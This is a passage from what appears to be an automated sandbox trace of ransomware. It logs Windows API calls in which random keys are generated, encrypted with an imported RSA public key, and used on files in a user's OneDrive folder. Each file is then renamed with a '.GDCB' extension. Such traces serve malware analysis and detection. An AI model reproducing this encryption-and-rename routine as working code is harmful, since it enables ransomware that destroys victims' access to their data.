flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0197.989] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.gif.gdcb")) returned 1 [0197.993] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0197.995] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.996] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.996] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.996] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.996] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0197.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.000] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.001] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0198.003] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089738) returned 1 [0198.003] CryptGetKeyParam (in: hKey=0x5089738, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.003] CryptEncrypt (in: hKey=0x5089738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.003] GetLastError () returned 0x0 [0198.003] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.003] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0198.005] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089438) returned 1 [0198.005] CryptGetKeyParam (in: hKey=0x5089438, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.005] CryptEncrypt (in: hKey=0x5089438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.005] GetLastError () returned 0x0 [0198.005] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.005] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.007] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.008] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.009] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x2a10, lpOverlapped=0x0) returned 1 [0198.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2a10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.020] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\autoplayoptin.png.gdcb")) returned 1 [0198.025] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0198.026] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.027] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.027] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.028] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.028] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0198.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.030] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.030] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.030] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.030] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0198.032] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089578) returned 1 [0198.032] CryptGetKeyParam (in: hKey=0x5089578, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.032] CryptEncrypt (in: hKey=0x5089578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.032] GetLastError () returned 0x0 [0198.032] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.032] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0198.034] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089278) returned 1 [0198.034] CryptGetKeyParam (in: hKey=0x5089278, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.034] CryptEncrypt (in: hKey=0x5089278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.034] GetLastError () returned 0x0 [0198.034] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.034] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.036] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.038] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.039] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x5070, lpOverlapped=0x0) returned 1 [0198.046] VirtualAlloc (lpAddress=0x0, dwSize=0x5070, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.051] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ExclusionList.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\exclusionlist.xml.gdcb")) returned 1 [0198.067] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0198.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.070] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.070] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.070] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.070] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0198.071] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.072] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.072] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.072] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.072] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0198.074] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089678) returned 1 [0198.074] CryptGetKeyParam (in: hKey=0x5089678, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.074] CryptEncrypt (in: hKey=0x5089678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.075] GetLastError () returned 0x0 [0198.075] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.075] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0198.076] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x5089478) returned 1 [0198.076] CryptGetKeyParam (in: hKey=0x5089478, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.076] CryptEncrypt (in: hKey=0x5089478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.077] GetLastError () returned 0x0 [0198.077] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.077] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplaylogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.078] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.080] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.080] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x1450, lpOverlapped=0x0) returned 1 [0198.089] VirtualAlloc (lpAddress=0x0, dwSize=0x1450, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.093] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplaylogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplaylogo.png.gdcb")) returned 1 [0198.097] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0198.098] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.099] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.099] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.099] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.099] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0198.100] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.101] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.101] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.101] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.101] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0198.103] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50894b8) returned 1 [0198.103] CryptGetKeyParam (in: hKey=0x50894b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.103] CryptEncrypt (in: hKey=0x50894b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.103] GetLastError () returned 0x0 [0198.103] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.103] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0198.105] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50895b8) returned 1 [0198.105] CryptGetKeyParam (in: hKey=0x50895b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.105] CryptEncrypt (in: hKey=0x50895b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.105] GetLastError () returned 0x0 [0198.105] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.105] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.107] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.108] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.109] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x5db10, lpOverlapped=0x0) returned 1 [0198.119] VirtualAlloc (lpAddress=0x0, dwSize=0x5db10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.132] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.gif.gdcb")) returned 1 [0198.136] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0198.137] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.138] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.138] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0198.138] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.138] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0198.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.141] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.141] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0198.141] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.141] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0198.143] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50896b8) returned 1 [0198.143] CryptGetKeyParam (in: hKey=0x50896b8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.143] CryptEncrypt (in: hKey=0x50896b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0198.144] GetLastError () returned 0x0 [0198.144] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.144] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0198.146] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50896f8) returned 1 [0198.146] CryptGetKeyParam (in: hKey=0x50896f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0198.146] CryptEncrypt (in: hKey=0x50896f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0198.146] GetLastError () returned 0x0 [0198.146] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.146] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0198.147] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.149] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.150] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x2a10, lpOverlapped=0x0) returned 1 [0198.157] VirtualAlloc (lpAddress=0x0, dwSize=0x2a10, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.161] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.png.gdcb")) returned 1 